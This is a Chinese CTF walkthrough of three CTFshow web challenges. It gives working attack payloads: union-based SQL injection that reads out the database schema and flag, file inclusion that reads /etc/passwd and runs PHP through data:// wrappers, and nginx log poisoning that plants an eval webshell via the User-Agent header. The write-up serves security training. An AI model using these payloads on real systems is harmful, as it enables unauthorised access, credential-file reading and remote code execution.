CTFshow(web2-4）

  1. web02
  2. web03
  3. web04(日志注入)

@TOC

web02

在这里插入图片描述

在这里插入图片描述
进入可以看到表单,很明显这是POST注入，可以利用万能密码进行登录

测试：
在这里插入图片描述
登陆成功

回显查看
1' or 1=1 union select 1,2,3#
在这里插入图片描述
进行数据库的查询

1
1'or 1=1 union select 1,database(),3#

在这里插入图片描述
查询表

1
1' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2'#

在这里插入图片描述
查询字段

1
1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

在这里插入图片描述
查询字段内容

1
1' or 1=1 union select 1,flag,3 from flag#

在这里插入图片描述

web03

在这里插入图片描述
根据提示，这是存在文件包含漏洞，提示url 进行测试

1
?url=/etc/passwd

在这里插入图片描述
可见存在文件包含漏洞
本题可以是使用PHP伪协议+文件包含，实现任意命令执行
方法一：
php伪协议中的data通过通配符查找目录下的所有文件

1
?url=data://text/plain,<?php print_r(glob("*")); ?>

在这里插入图片描述
得到ctf_go_go_go的文件进行访问在这里插入图片描述
在这里插入图片描述
发现一个常见的php伪协议及用法表，贴出来在这里插入图片描述

web04(日志注入)

在这里插入图片描述
可以见到本题与上一题相似，虽然过滤了php，但可能存在文件包含漏洞，进行测试

1
?url=/etc/passwd

在这里插入图片描述
查看日志信息，发现服务器是nginx；在这里插入图片描述
在这里插入图片描述
在日志包含中，找到nginx的log有两种：

1
2
1、?url=/var/log/nginx/access.log
2、?url=/var/log/nginx/error.log

这里：?url=/var/log/nginx/access.log可以打开
在这里插入图片描述
在这里插入图片描述
进行日志注入
为了防止url编码，需要在burp中修改User-Agent

1
<?php @eval($_POST['2']);?>

在这里插入图片描述
使用蚁剑进行连接

在这里插入图片描述
连接成功后打开目录
在这里插入图片描述
得到flag
在这里插入图片描述

page PV:  ・  site PV:  ・  site UV: